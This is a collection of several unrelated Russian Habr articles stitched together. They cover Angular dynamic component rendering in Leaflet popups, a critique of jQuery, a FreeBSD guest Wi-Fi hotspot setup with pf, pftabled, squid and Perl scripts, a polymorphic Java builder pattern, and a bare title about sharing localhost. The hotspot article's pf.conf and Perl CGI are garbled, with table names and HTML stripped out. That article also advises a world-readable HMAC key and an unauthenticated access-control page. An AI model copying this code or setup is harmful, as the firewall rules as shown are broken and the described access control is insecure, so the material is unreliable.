Начальный проект находится по [ссылке](https://github.com/bodryi/angular2-dynamic-component-rendering/tree/master/angular2-leaflet-start). Это angular 2+ приложение, к которому подключена библиотека для работ с картой leaflet.js. В MapService есть методы для создания карты, добавления маркеров на неё и центровки на маркерах. MapComponent – компонент для отображения карты. Для сборки проекта используется webpack 2. Если запустить приложение, то перед нами появится карта с маркером, к которому привязан popup следующего вида:
```
marker.bindPopup(`
### Leaflet PopUp
Some text
Should be deleted from DOM if it was angular component because of ngIf = false
`);
```
Кликнем на него и увидим следующую картину:
В DOM находится элемент с текстом “Should be deleted from DOM...”, который хотелось бы удалить используя \*ngIf, однако в popup просто так нельзя записать код ангуляра, чтобы он тут же заработал. Именно здесь на сцену выходит динамический рендеринг компонентов ангуляра.
Решение задачи
==============
Для начала создадим компонент, который мы хотим динамически рендерить:
```
@Component({
selector: 'custom-popup',
template: require('./custom-popup.component.html')
})
export class CustomPopUpComponent {
public inputData: any;
private title: string = 'Angular component';
private array: Array = ['this', 'array', 'was viewed', 'by', 'ngFor!'];
}
```
Его template:
```
{{title}}
=========
{{inputData}}
{{text}}
Should be deleted from DOM if it was angular component because of ngIf = false
```
Далее создадим новый сервис dynamic-render.service.ts:
```
@Injectable()
export class RenderService {
private componentRef: ComponentRef;
constructor(private ngZone: NgZone,
private injector: Injector,
private appRef: ApplicationRef,
private componentFactoryResolver: ComponentFactoryResolver) { }
public attachCustomPopUpsToMap(map: Map) {
this.ngZone.run(() => {
map.on("popupopen",
(e: any) => {
const popup = e.popup;
const compFactory = this.componentFactoryResolver.resolveComponentFactory(popup.options.popupComponentType);
this.componentRef = compFactory.create(this.injector);
this.componentRef.instance.geoObject = popup.options.object;
this.appRef.attachView(this.componentRef.hostView);
let div = document.createElement('div');
div.appendChild(this.componentRef.location.nativeElement);
popup.setContent(div);
});
});
}
}
```
Так как addListener запускается вне зоны ангуляра, нам нужно самим вручную добавить его туда. Таким образом каждый раз при открытии popup’а вызывается componentFactory, которая создаёт компонент, который мы прокинули в поле options. Далее мы можем с помощью instance этого компонента записать в его поля данные, которые мы так же можем прокинуть в options popup’а. В данном примере мы назначаем полю inputData компонента данные из options.data. Затем создаем div элемент, к которому прикрепляем наш только что созданный компонент и назначаем его в качестве контента popup’у.
*Замечание:* этот код написан для angular 2.3.0+. Для более ранних версий это решение будет выглядеть следующим образом. Вместо
```
this.appRef.attachView(this.componentRef.hostView);
```
нужно будет написать
```
if (this.appRef['attachView']) {
this.appRef['attachView'](this.componentRef.hostView);
this.componentRef.onDestroy(() => {
this.appRef['detachView'](this.componentRef.hostView);
});
}
else {
this.appRef['registerChangeDetector'](this.componentRef.changeDetectorRef);
this.componentRef.onDestroy(() => {
this.appRef['unregisterChangeDetector'](this.componentRef.changeDetectorRef);
});
}
```
Запровайдим RenderService в MapModule. Также обязательно нужно добавить в MapModule в declarations и entryComponents наш CustomPopUpComponent. Вызовем renderService и добавим возможность для нашего элемента карты рендерить в popup’ах ангуляровские компоненты, после чего прикрепим к маркеру кастомный компонент:
```
this.renderService.attachCustomPopUpsToMap(this.mapService.getMap());
let options = {
data: 'you can provide here anything you want',
popupComponentType: CustomPopUpComponent
};
let myPopUp = L.popup(options);
marker.bindPopup(myPopUp);
```
В поле data прокинем данные для компонента, в popupComponentType – сам компонент. Такую конструкцию можно обернуть в интерфейс для удобства использования, но в рамках данного примера делать этого не будем, статья не об этом. Для корректного отображения немного подправим стили, после чего можно запускать приложение. Кликнув по маркеру, видим, что наш компонент среднерился в popup’е leaflet:
Заключение
==========
Нам удалось значительно расширить функционал стандратных popup’ов leaflet в связке с angular 2+. В качестве бонуса наши компоненты получают анимацию открытия/закрытия, изменение размера при зуме и другие стандартные вещи leaflet.
Исходники проекта, в котором реализовано всё описанное в статье находятся [здесь](https://github.com/bodryi/angular2-dynamic-component-rendering/tree/master/angular2-leaflet-start). | https://habr.com/ru/post/331298/ | null | ru | null |
# jQuery считается вредным
Хех, мне всегда хотелось написать один из этих «Х считается вредным» постов.
Прежде чем я начну, позвольте сказать следующее: я считаю что **jQuery оказал просто невероятное влияние на продвижение Web**. Он дал возможность разработчикам делать такие вещи, которые ранее считались немыслимыми. Заставил производителей браузеров реализовать многие фичи нативно (без jQuery у нас наверное никогда бы не появился document.querySelectorAll). jQuery всё еще нужен тем, кто не может положиться на современные плюшки и вынужден поддерживать реликты вроде IE8 или хуже.
Тем не менее, как бы я не сочувствовала этим бедным ребятам, они в меньшинстве. Сегодня существуют уже тонны разработчиков, которым не нужно поддерживать старые браузеры с их мизерной долей на рынке. И давайте не будем забывать тех, кто не является профессиональными разработчиками: студенты и исследователи, им не только побоку вся эта кроссбраузерность, часто им вообще ничего не нужно кроме одного единственного браузера! Наверное, вы ожидаете, что в академических кругах, все с удовольствием пользуются новомодными плюшками Открытой Веб Платформы? И близко нет, jQuery там просто везде. Почему? Потому что jQuery — это всё что они знают, у них просто нет ни сил, ни времени следить за новинками веба. Им не нужна причина, чтобы использовать jQuery, он просто должен быть использован. Несмотря на этот факт, и возможность уже делать все эти вещи нативно, я всё же считаю, что это не это основная причина избегать jQuery.
### Да, скорее всего, он вам не нужен...
Определенно я далеко не первая, кто обращает внимание на то, что почти всё, что умеет jQuery, сегодня умеет и нативный JavaScript. Так что я не буду повторятся и просто дам несколько ссылок:
* [А нужен ли вам jQuery?](http://www.sitepoint.com/do-you-really-need-jquery/)
* [Наверное, вам не нужен jQuery](http://youmightnotneedjquery.com/)
* [Вам точно не нужен jQuery!](http://blog.garstasio.com/you-dont-need-jquery/)
* [10 советов как писать на JavaScript без jQuery](http://tutorialzine.com/2014/06/10-tips-for-writing-javascript-without-jquery/)
* …и так далее. Просто [загуглите “вам не нужен jQuery”](https://www.google.com/search?q=you+don%27t+need+jquery) и вас завалят советами.
Также я не буду тратить время, рассуждая о **размере файла** и о том, насколько **быстрее** работают нативные методы. Это все уже не раз разжевано. Сегодня я хочу обратить внимание на кое-что другое.
### … но это всё же не та причина чтобы отказаться от его использования
Чтобы избежать расширения прототипов нативных объектов, jQuery использует собственные обертки над этими объектами. В прошлом, расширять нативные объекты, считалось огромным минусом, и не столько из-за потенциальных коллизий с другими расширениями, сколько из-за постоянных утечек памяти в IE6. Так и пошло с тех пор, вызов $('div') вернет нам не ссылку на элемент или список нод, а некий jQuery-объект. Это означает, что jQuery-объект содержит совершенно другие методы, чем обычная ссылка на дом-элемент или список нод.
Тем не менее, эти ссылки всё время вылазят наружу в реальных проектах. Как бы jQuery не старался абстрагироваться от них, вам все равно постоянно приходится оперировать ими, пусть даже просто оборачивая эти ссылки в $(). Например, контекст коллбэка в случае вызова метода jQuery .bind() будет ссылкой на дом элемент, а не на коллекцию jQuery. Также стоит отметить, что вы часто используете библиотеки из разных источников, некоторые из них нуждаются в jQuery, а некоторые нет. Всё это приводит к тому, что на выходе нас ждет адская **смесь из нативных дом элементов, списков нод и jQuery-объектов**.
Если разработчик придерживается соглашения об именовании jQuery-объектов (добавляя $ перед именем переменной) и обычных переменных содержащих ссылки на нативные элементы, то это безусловно сглаживает проблему (хотя люди имеют свойство забывать о любых конвенциях, но допустим что мы живем в идеальном мире). Как бы то ни было, в большинстве случаев, разработчики и слыхом не слыхивали о подобных конвенциях, и в результате в их коде чрезвычайно трудно разобраться незнакомым с ним людям. Каждая попытка отредактировать такой код, влечет множество ошибок в стиле «Ох, блин, это не jQuery-объект, забыл обернуть его в $()» или «Черт, тут же не дом-элемент забыл взять его через $(..)[0]». Чтобы избежать конфузов, разработчики часто заканчивают тем, что начинают вообще всё подряд оборачивать в $(), на всякий случай. Читая код после, можно увидеть, что одна и та же переменная оборачивается в $() множество раз. По той же причине, становится очень трудно, отрефакторить этот код так, чтобы он не использовал jQuery. Так что по сути получаем **безвыходную ситуацию**.
Даже если вы строго соблюдаете соглашение о наименовании переменных, все равно часто возникает ситуация, когда вам нужно вызвать нативный метод для дом-элемента или запустить функцию из кода, который не зависит от jQuery. И через какое-то время ваш код уже будет забит сверху донизу переводами объектов из jQuery в нативные и наоборот.
Допустим, через какое-то время, вы решите дописать еще пару фич для подобной программы и в большинстве случаев вы закончите тем, что опять обернете все новые ссылки на дом элементы и коллекции в $(). Ведь вы не всегда можете точно знать, в каком случае вам понадобиться та или иная ссылка. Так что опять она, безвыходная ситуация, которая еще и распространяется на весь будущий код!
Возьмите любой случайный скрипт с jQuery-зависимостью и попробуйте его от этой зависимости избавить. Разбежались. Вы увидите что основная ваша задача не конвертировать методы в нативные, а вообще понять что тут за ад происходит.
### Прагматичный путь к чистому JS
Разумеется, сегодня многие библиотеки требуют jQuery и как я недавно [твитнула](https://twitter.com/leaverou/status/588504217410609152), попытки полностью от него избавиться будут похожи на некое цифровое веганство. И всё же это не значит, что вам нужно продолжать пользоваться им. Библиотеки всегда могут быть заменены в будущем, когда появятся их версии не использующие jQuery.
Кроме того, многие библиотеки написаны так, что они не требуют наличия именно переменной $ как синонима jQuery. Просто вызовите [jQuery.noConflict()](https://api.jquery.com/jquery.noconflict/) чтобы забрать себе переменную $ и найти ей лучшее применение. Например, я часто использую эти функции-помощники, вдохновившись [Command Line API](https://developer.chrome.com/devtools/docs/commandline-api#selector):
```
// Возвращаем первый элемент, который соответствует CSS селектору {expr}.
// Запросы могут быть ограничены потомками {container}-а
function $(expr, container) {
return typeof expr === "string"? (container || document).querySelector(expr) : expr || null;
}
// Возвращаем все элементы которые соответствуют CSS селектору {expr} в виде массива.
// Запросы могут быть ограничены потомками {container}-а
function $$(expr, container) {
return [].slice.call((container || document).querySelectorAll(expr));
}
```
Кроме того, я думаю, что если вам придется каждый раз вместо $ набирать jQuery, то вы дважды подумаете, а действительно ли оно мне надо? ИМХО конечно.
Также, если вам действительно очень нравится jQuery API, но вы хотите избежать раздувания кода, подумайте об использовании [Zepto](http://zeptojs.com/). | https://habr.com/ru/post/259223/ | null | ru | null |
# Трудности администрирования гостевых хотспотов. Практика (часть 2)
В [предыдущей статье](http://habrahabr.ru/blogs/sysadm/134134/) я рассказал о том, как отследить состояние isc-dhcpd, теперь о практических методах применения данной схемы.
При работе в высоко нагруженных гостевых Wi-Fi сетях возникает проблема отслеживания и добавления клиентов, которые имеют расширенный доступ к внешним сервисам. Самый лучший вариант это контроль доступа по MAC адресам (занесение связки адресов в dhcpd.conf), но как показывает практика он достаточно неудобен, т.к. Вы реально не можете контролировать состояние уже занесенных в конфиг хостов и их работу.
Также из-за большого количества случайных устройств возникает необходимость уменьшения времени действия lease или расширение диапазона выдаваемых ip адресов, что в свою очередь приводит к замедлению поиска нужного хоста. Контроль по MAC адресам и выдача статических адресов может привести к определённым проблемам. Скажем у Вас в компании есть 2 Wi-Fi подсети, представляющие собой две виртуальных сети(VLAN) раздаваемые с мультисидовых точек доступа. При этом одна Wi-Fi сеть является открытой, а вторая запаролена.
Для корректной работы клиента Вам необходимо добавить mac адрес устройства в 2 пула одновременно. Это ведет к запутыванию конфига и проблемам с администрированием.
##### Дальнейшее описание требует от читателя хотя бы базового представления о работе pf, squid, isc-dhcpd и веб серверов.
#### Какой выход ?
Выход немного не очевидный, но достаточно простой. Почему бы самому dhcpd не контролировать доступ пользователей к сеть?
Итак у нас есть isc-dhcpd, есть список клиентов которым необходимо открывать на firewall доступ к сервисам при их появлении и отключать доступ при их исчезновении.
Нам понадобится база данных MAC адресов наших клиентов, удобная веб морда для их оперативного добавления, firewall которым можно управлять удалённо без ручной правки конфига и немного терпения.
Для начала мы должны подготовить нашу систему.
Я сторонник FreeBSD и поэтому все основные проекты делаю на ней, т.к. многие компоненты системы имеют удобное управление. В качестве firewall мы будем использовать связку [pf](http://openbsd.com/faq/pf/index.html) и [pftabled](http://wolfermann.org/pftabled.html). Межсетевой экран pf выгодно отличается от других тем, что он имеет динамические таблицы, которые можно изменять не трогая основные правила. pftabled это демон умеющий при помощи специально сформированного пакета контролировать состояние этих таблиц.
##### Примерный конфиг pf.conf
```
int_if="em0"
ext_if="em1"
table
table persist { 10.0.0.0/8, 172.16.0.0/16, 192.168.0.0/16 }
# nat должен работать только для внешних хостов!
nat on $ext\_if from { } to { ! } -> ($ext\_if)
# мы создаём правила для таблиц. Запросы от пользователей не входящих с таблицу будут перенаправляться на squid в transparent порт.
no rdr on $int\_if from to any
# редирект не должен работать для локального apache на котором будет расположен файл wpad.dat
rdr on $int\_if from ($int\_if:network) to { any, !($int\_if) } port { 80,8080 } -> 127.0.0.1 port 3129
# Allow DHCP
pass in on $int\_if proto udp from any port bootpc to any port bootps
pass out on $int\_if proto udp from any port bootps to any port bootpc
# Allow DNS
pass in on $int\_if proto udp from ($int\_if:network) to ($int\_if) port domain keep state
pass out on $int\_if proto udp from ($int\_if) to ($int\_if:network) port domain
# Allow Proxy access
pass in on $int\_if proto tcp from ($int\_if:network) to ($int\_if) port 3128 flags S/SA keep state
pass in on $int\_if proto tcp from ($int\_if:network) to 127.0.0.1 port 3129 flags S/SA keep state
# Allow access to local HTTP Server
pass in on $int\_if proto tcp from ($int\_if:network) to ($int\_if) port 80 flags S/SA keep state
# Allow access from to any services
pass in from to any keep state
pass out on $ext\_if from ($ext\_if) to any keep state
pass out on $ext\_if proto icmp from any to any keep state
```
##### Что нам даёт описанный конфиг?
* Любые запросы направленные из гостевой сети к любому хосту на порт 80,8080 будут перенаправлены в proxy сервер в порт 3129
* Любые запросы от хостов входящих в таблицу androids будут пробрасываться во внешнюю сеть напрямую
* Разрешены запросы к dns, dhcpd, локальному web серверу и на proxy
Почему мы разрешаем только порт 80,8080? Потому что открыв другие порты, мы теряем контроль над использованием нашей сети.
Для корректной работы схемы необходимо настроить локальный wpad сервис. Для его настройки необходимо создать IN A запись в dns сервере и указать в качестве IP адреса — адрес вашего веб сервера. Ниже примерный конфиг файла wpad.dat который должен лежать в корне вашего веб сервера.
```
function FindProxyForURL(url, host)
{
if(
isPlainHostName(host) ||
dnsDomainIs(host, ".conf.local") ||
localHostOrDomainIs(host, "127.0.0.1")
){
return "DIRECT";
}
if (
isInNet(host, "172.16.0.0", "255.255.0.0") ||
isInNet(host, "192.168.0.0", "255.255.0.0") ||
isInNet(host, "10.0.0.0", "255.0.0.0") ||
isInNet(host, "127.0.0.0", "255.255.255.0")
){
return "DIRECT";
}
if ( isInNet(myIpAddress(), "192.168.0.0", "255.255.0.0")) return "PROXY 192.168.0.1:3128";
else return "DIRECT";
}
```
Содержимое файла гласит:
* Если запрос содержит имя хоста без dns суффикса, или домен запрашиваемого хоста содержит ".conf.local", или хост резолвится в 127.0.0.1, то запросы отправлять напрямую на запрошенный хост.
* Если запрошенный хост резолвится в адреса локальной подсети, то отправлять запрос напрямую
* Всё остальное отправлять в proxy сервер
Как настроить squid в transparent режиме лучше почитать вот [тут](http://wiki.squid-cache.org/SquidFaq/InterceptionProxy).
Ну-с подготовительные работы сделаны. Далее можно проверить работу ядра системы.
Если dhcpd корректно отдал настройки хосту пользователя, то при включенных настройках «автоматическое определение настроек прокси сервера», браузер запросит файл wpad.dat и будет все свои запросы отправлять через proxy сервер. Если же добавить хост в таблицу androids, то весь трафик пойдёт мимо прокси сервера.
#### Формируем базу данных для работы
Самый простой и быстрый вариант обработки данных это хранение текущих настроек выданных адресов в доступном месте с высокоскоростным доступом. Для меня таким местом является memcached. Вы можете использовать базы данных, файловые хранилища, в общем всё что душа пожелает. Для локальной базы мак адресов я использую штатную перловую DB\_File.
Как описано в первом посте для создания базы выданных адресов нужно подключить к dhcpd обработчик событий. Ниже текст моего обработчика.
```
#!/usr/bin/perl
use strict;
use warnings;
use DB_File;
use IO::Socket;
use Digest::HMAC_SHA1 qw(hmac_sha1);
use Cache::Memcached::Fast;
use Sys::Syslog;
use vars qw/ $keyfile $key $lease_base $pftabled %macs/;
use constant PFTBLPORT => 56789;
use constant pfip => "127.0.0.1";
use constant PFTBLVERSION => 2;
use constant PFTABLED_CMD_ADD => 1;
use constant PFTABLED_CMD_DEL => 2;
use constant PFTABLED_CMD_FLUSH => 3;
use constant PFTBLCOMMAND => 1;
use constant PFTBLMASK => 32;
use constant SHA1_DIGEST_LENGTH => 20;
use constant PFTBLNAME => "androids";
my $command = shift;
my $ip = shift;
my $mac = shift;
my $pid = fork();
if($pid == 0) {
$pftabled = IO::Socket::INET->new(Proto => 'udp',
PeerPort => PFTBLPORT,
PeerAddr => pfip)
or die "Creating socket: $!\n";
openlog("publish-ip-mac","ndelay");
&load_key;
&open_memcached;
if($command eq 'commit') { &commit_address; }
elsif($command eq 'release') { &release_address; }
elsif($command eq 'expiry') { &release_address; }
elsif($command eq 'hostname') { &commit_hostname; }
else {
syslog("info|local6","Unknown operation $command for $ip and $mac");
#print STDERR "Unknown operation $command for $ip and $mac\n";
}
closelog;
}
exit(0);
sub commit_address
{
$mac = join(":",map { sprintf("%02s",$_); } split(":",$mac));
#print STDERR "Host ".$ip." with MAC ".$mac." is alive\n";
syslog("info|local6","Host ".$ip." with MAC ".$mac." is alive");
$lease_base->set('ip/'.$mac,$ip,19200);
$lease_base->set('mac/'.$ip,$mac,19200);
$lease_base->set('lease_start/'.$ip,time(),19200);
$lease_base->set('lease_end/'.$ip,time()+19200,19200);
tie %macs, 'DB_File', '/var/db/macs.db', O_RDONLY, 0666, $DB_HASH or die "Cannot open file '/var/db/macs.db': $!\n";
syslog("info|local6","Mac: $mac Table Mac: $macs{$mac}");
if(exists $macs{$mac})
{
syslog("info|local6","IP $ip put to pftable");
&pftabled_operations(PFTABLED_CMD_ADD,$ip);
}
untie %macs;
}
sub commit_hostname
{
$lease_base->set('name/'.$ip,$mac,19200);
}
sub release_address
{
if($mac = $lease_base->get('mac/'.$ip))
{
syslog("info|local6","Host ".$ip." with MAC ".$mac." released or expired");
# print STDERR "Host ".$ip." with MAC ".$mac." released or expired\n";
$lease_base->delete('ip/'.$mac);
$lease_base->delete('mac/'.$ip);
$lease_base->delete('name/'.$ip);
$lease_base->delete('lease_start/'.$ip);
$lease_base->delete('lease_end/'.$ip);
}
else
{
# print STDERR "Host ".$ip." without MAC info released or expired\n";
syslog("info|local6","Host ".$ip." without MAC info released or expired");
}
&pftabled_operations(PFTABLED_CMD_DEL,$ip);
}
sub check_access_table
{
}
sub pftabled_operations
{
my $command = shift;
my $iparray = shift;
#print @iparray;
foreach my $addip (split("\0",$iparray))
{
my $addr = inet_aton($addip);
my $time = time();
my $block = pack("C1 S1 C1",PFTBLVERSION,$command,PFTBLMASK).$addr.pack("a32 N*",PFTBLNAME,$time);
my $digest = hmac_sha1($block, $key);
$block .= $digest;
$pftabled->send($block);
}
}
sub load_key
{
my $keyfile = "/usr/local/etc/pftabled.key";
if (! -r $keyfile) {
print STDERR "Cannot Read KeyFile $keyfile\n";
exit 1;
}
open(KEY, "<$keyfile");
sysread KEY, $key, SHA1_DIGEST_LENGTH;
close KEY;
}
sub open_memcached
{
$lease_base = new Cache::Memcached::Fast({
servers => [ { address => 'localhost:11211', noreply => 1 } ],
});
}
```
В файле /usr/local/etc/pftabled.key должен лежать ключ который использует pftabled.
В файле /var/db/macs.db должна лежать база mac адресов в виде DB\_File HASH.
При появлении команды commit от dhcpd — полученный mac адрес проверяется по базе адресов и если он там присутствует, в pftabled отправляется пакет добавляющий в таблицу androids соответствующий маку ip адрес. При появлении команды release или expire — ip адрес из таблицы androids удаляется автоматически.
Время жизни данных в memcached и pftabled установлено в 19200 секунд(около 5 часов), такое же время устанавливается в конфиге dhcpd.conf в параметре maximum-lease-time. Это сделано для того, чтобы хосты в memcached и pf не терялись.
pftabled должен быть запущен со следующими параметрами:
**pftabled\_flags="-d -a 127.0.0.1 -k /usr/local/etc/pftabled.key -t 19200"**
В crontab нужно добавить следующую строку
**\*/5 \* \* \* \* /sbin/pfctl -t androids -T expire 19200 > /dev/null 2>&1**
**ВНИМАНИЕ!!! /usr/local/etc/pftabled.key должен иметь права 0444**
Ну и собственно последняя часть это веб рулилка доступом.
Код простой и неприхотливый, мне для работы хватает. Посему без красивостей и наворотов.
```
#!/usr/bin/perl
use POSIX qw(strftime);
use DB_File;
use strict;
use IO::Socket;
use Digest::HMAC_SHA1 qw(hmac_sha1);
use Cache::Memcached::Fast;
use vars qw/%sv %form %cookie %macs $lease_base $pftabled $key/;
use constant PFTBLPORT => 56789;
use constant pfip => "127.0.0.1";
use constant PFTBLVERSION => 2;
use constant PFTABLED_CMD_ADD => 1;
use constant PFTABLED_CMD_DEL => 2;
use constant PFTABLED_CMD_FLUSH => 3;
use constant PFTBLCOMMAND => 1;
use constant PFTBLMASK => 32;
use constant SHA1_DIGEST_LENGTH => 20;
use constant PFTBLNAME => "androids";
require "functions.pm";
#BEGIN { Net::ISC::DHCPd::OMAPI::_DEBUG = sub { 1 } }
$lease_base = new Cache::Memcached::Fast({
servers => [ { address => 'localhost:11211', noreply => 1 } ],
});
&systeminit
tie %macs, 'DB_File', '/var/db/macs.db', O_CREAT|O_RDWR, 0666, $DB_HASH or die "Cannot open file '/var/db/macs.db': $!\n";
print "Content-Type: text/html;\r\n\r\n";
print << "[end]";
DHCP State
TD { font:14px Courier; border-left:0px; border-top:0px; border-right:1px; border-bottom:1px; border-style: dashed; text-align: center;}
BODY { font:14px Courier; }
INPUT[type=button] { width: 100px; font: Verdana, Tahoma; }
TR.red { background-color: #A0A0A0; }
TR.head { background-color: #808080; }
TR.green { background-color: #00C000; }
TABLE { }
function subm(id)
{
if(confirm("Really toggle access type for " + id))
{
document.toggle.mac.value=id;
document.toggle.submit();
}
}
[end]
#print "Macs list: ",join (",",keys %macs),"\n";
if($form{"mac"})
{
&load\_key;
$pftabled = IO::Socket::INET->new(Proto => 'udp',
PeerPort => PFTBLPORT,
PeerAddr => pfip)
or die "Creating socket: $!\n";
my $ip = $lease\_base->get("ip/".$form{"mac"});
# print "Form list: ",join (",",keys %form),"\n";
if(defined($macs{$form{"mac"}}))
{
delete($macs{$form{"mac"}});
&pftabled\_operations(PFTABLED\_CMD\_DEL,$ip);
print STDERR "MAC Address ".$form{"mac"}." with IP $ip removed from full access\n";
}
else
{
print STDERR "MAC Address ".$form{"mac"}." with IP $ip added to full access\n";
&pftabled\_operations(PFTABLED\_CMD\_ADD,$ip);
$macs{$form{"mac"}} = 'full';
}
}
print << "[end]";
[end]
for(my $network=0;$network<255;$network++)
{
print << "[end]";
| Network $network |
| IP | MAC | Access | Hostname | Last Seen/Lease Start | Planned Expire |
[end]
for(my $i=0;$i<256;$i++)
{
my $ip\_address = "192.168.$network.$i";
my $mac\_address = $lease\_base->get('mac/'.$ip\_address) || next;
#print Dumper($lease);
my $hostname = $lease\_base->get('name/'.$ip\_address);
my $checkboxvalue = ($macs{$mac\_address}) ? "Back to normal" : "Switch to full";
my $style = ($macs{$mac\_address}) ? "green" : "red";
my $checkboxfield = ($mac\_address) ? "" : " ";
print "| ";
print join (" | ",$ip\_address,$mac\_address||" ",$checkboxfield,$hostname||" ",time\_expand($lease\_base->get('lease\_start/'.$ip\_address)),time\_expand($lease\_base->get('lease\_end/'.$ip\_address)));
print " |
\n";
}
print "| |
\n";
}
print << "[end]";
| Registered Mac Addresses |
[end]
foreach my $mac (keys %macs)
{
print << "[end]";
| $mac -> $macs{$mac} | |
[end]
}
print "
";
untie %macs;
exit(0);
sub time_expand
{
my $time = shift;
#($sec,$min,$hour,$mday,$mon,$year,$wday,$yday,$isdst) = localtime($time);
my $now = strftime "%a %b %e %H:%M:%S %Y", localtime($time);
return($now);
}
sub pftabled_operations
{
my $command = shift;
my $iparray = shift;
#print @iparray;
foreach my $addip (split("\0",$iparray))
{
my $addr = inet_aton($addip);
my $time = time();
my $block = pack("C1 S1 C1",PFTBLVERSION,$command,PFTBLMASK).$addr.pack("a32 N*",PFTBLNAME,$time);
my $digest = hmac_sha1($block, $key);
$block .= $digest;
$pftabled->send($block);
}
}
sub load_key
{
my $keyfile = "/usr/local/etc/pftabled.key";
if (! -r $keyfile) {
print STDERR "Cannot Read KeyFile $keyfile\n";
exit 1;
}
open(KEY, "<$keyfile");
sysread KEY, $key, SHA1_DIGEST_LENGTH;
close KEY;
}
```
Ну вот в общем то и всё.
Надеюсь прочтёное будет Вам полезным и наведёт на определённые мысли по возможному усовершенствованию системы для Вашей компании.
PS: Для создания хотспотов с возможностью открытия доступа самим пользователем, можно начальное перенаправление прокси заменить на перенаправление на веб сервер с формой авторизации и уже оттуда добавлять хост в pftabled без использования isc-dhcpd.
PPS: use «functions.pm» в последнем файле это обработчик входных данных форм и переменных окружений. Проверку переменных можно переписать на CGI. Для желающих могу выложить функционал и исходник модуля «functions.pm»
Aborche 2011
 | https://habr.com/ru/post/134154/ | null | ru | null |
# Правильный полиморфный билдер на Java
#### О чем все это?
При реализации chained builder на Java все прекрасно, пока не понадобится добавить наследование. Сразу же возникают две проблемы — как сделать, чтобы методы родительского билдера возвращали объект дочернего билдера и как передавать дочерний билдер в функции, принимающие родительский. Предлагается реализация паттерна, которая позволяет решить обе проблемы. Исходники можно посмотреть [здесь](https://github.com/blaze79/debuilder) на гитхабе.
#### Upd. Реальная проблема
В приложении есть dto-объекты для отображения результата, которые строятся следующим образом:
1) Создается билдер нужного dto-объекта.
2) Билдер передается в различные классы по цепочке, каждый класс использует билдер для установки нужных ему полей.
В один прекрасный день решили ввести новую версию API, dto-объект был расширен с помощью наследования и тут оказалось, что его билдер не получается засунуть в существующую цепочку классов для достройки.
#### Постановка задачи
Тут должно быть 100500 слов о важности паттерна билдер, дабы не утомлять читателя этой лабудой, сразу перейдем к делу. Пусть есть 3 класса с понятными именами Gen1, Gen2 и Gen3. Они образуют линейную иерархию Gen3 → Gen2 → Gen1. Каждый их них содержит ровно один очень важный метод с именем setValX (где X цифра из имени класса). Мы хотим получить билдеры Builder1, Builder2, Builder3 каждый из которых содержит соответствующий метод valX, который реализуется только у одного класса (не хотим копипастить).
Так же должны работать цепочки:
```
Gen1 gen1 = builder1.val1("val1").build();
Gen2 gen2 = builder2.val1("val1").val2("val2").build();
Gen3 gen3 = builder3.val1("val1").val2("val2").val3("val3").build();
```
И возможность использовать дочерние билдеры вместо родительских:
```
Gen1 someFunction(Builder1 builder1) {
return builder1.val1("val1111");
}
...
someFunction1(builder3.val2("val222").val3("val333"));
```
#### Что и как получилось
Билдер предполагается сделать по следующей схеме — создать объект в самом начале, потом заполнить его поля, а в функции build() вернуть клиенту. В этом случае нам необходим класс, который будет делать простую вещь — хранить ссылку на достраиваемый объект и хранить ссылку на тот билдер нужного типа, который будут возвращать все методы-установщики значений. Следующий класс решает проблему:
```
public class BuilderImpl {
protected T nested;
RetBuilder returnBuilder;
protected BuilderImpl(T child) {
nested = child;
}
protected T getNested() {
return nested;
}
protected void injectReturnBuilder(RetBuilder builder) {
returnBuilder = builder;
}
protected RetBuilder self() {
return returnBuilder;
}
public T build() {
return nested;
}
}
```
Конечно, от метода injectReturnBuilder лучше было бы избавиться, передавая нужные данные в конструктор, но увы, туда будет передаваться this дочернего билдера, который нельзя использовать до окончания родительского конструктора super(). Метод getNested() на любителя, можно обращаться к полю nested напрямую. Метод self() сделан, чтобы не путать поле со словом this.
Теперь задумаемся вот над какой проблемой. Если у нас есть некий генерик Builder1<> который реализуется все что нам нужно для класса Gen1 (с какими-то параметрами Gen1,Builder1), на нужно будет унаследовать от него генерик Builder2 для Gen2 (с какими-то параметрами Gen1,Builder1), а от того Builder3 для Gen3 то получится, что у Builder3 в предках две реализации исходного Builder1 с разными параметрами, что, увы прямо запрещено Java.
Но выход есть — надо разделить настройку полей объекта и создание объекта на разные классы.
Классы с именами InnerBuilderX отвечают за настройку полей и возврат объекта и допускают наследование. Классы с именами FinalBuilderX наследуются от соответствующих InnerBuilderX, добавляя создание исходного объекта и к дальнейшему наследованию не допускаются.
Отдельную трудность представляет написание InnerBuilderX с правильной комбинацией wildcard. Путем долгих проб и ошибок (читать спецификации не наш путь) был найдет приемлемый вариант. Но пока он был найден — были перепробованы комбинации, на который инспектор Idea помирал или ошибался, что несколько затормозило разработку. И так, вот код для InnerBuilder1 класса Gen1. Параметр T это тип хранящегося объекта, RetBuilder — тип билдера, который возращается из функции установки val1.
```
public static class InnerBuilder1>
extends BuilderImpl {
protected InnerBuilder1(T created) {
super(created);
}
public RetBuilder val1(String val) {
getNested().setVal1(val);
return self();
}
}
```
Конечно, рекурсивная конструкция class InnerBuilder1> немного напрягает, но зато реально работает.
Ну а FinalBuilder довольно простой:
```
private static class FinalBuilder1 extends InnerBuilder1 {
private FinalBuilder1() {
super(new Gen1()); // сюда нельзя this
injectReturnBuilder(this);
}
}
```
Осталось добавить статическую функцию по созданию билдера:
```
public static InnerBuilder1 extends Gen1, ? builder() {
return new FinalBuilder1();
}
```
Теперь перейдем к дочернему билдеру. Нам унаследовать реализацию для внутреннего билдера и сделать создание объекта в финальном:
```
public static InnerBuilder2 extends Gen2, ? builder() {
return new FinalBuilder2();
}
public static class InnerBuilder2> extends InnerBuilder1 {
protected InnerBuilder2(T created) {
super(created);
}
public RetBuilder val2(String val) {
getNested().setVal2(val);
return self();
}
}
private static class FinalBuilder2 extends InnerBuilder2 {
private FinalBuilder2() {
super(new Gen2());
injectReturnBuilder(this);
}
}
```
Можно попробовать скомпилировать тестовый код:
```
Gen2.builder().val1("111").val1("111").val1("111").val1("111").val2("222").build();
```
Получилось! А что там с полиморфизмом?
```
// принимает билдер передкового Gen1
Gen1 buildGen1Final(Gen1.InnerBuilder1 extends Gen1, ? builder) {
builder.val1("set value from Gen1 builder");
return builder.build();
}
...
// а получает билдер потомка Gen2
buildGen1Final(
Gen2.builder().val2("set value from Gen2 builder")
);
```
Все тоже работает. Аналогично реализуется билдер для класс Gen3, за подробностями можно обратится в [гитхаб](https://github.com/blaze79/debuilder) | https://habr.com/ru/post/315156/ | null | ru | null |
# Простой способ расшарить localhost
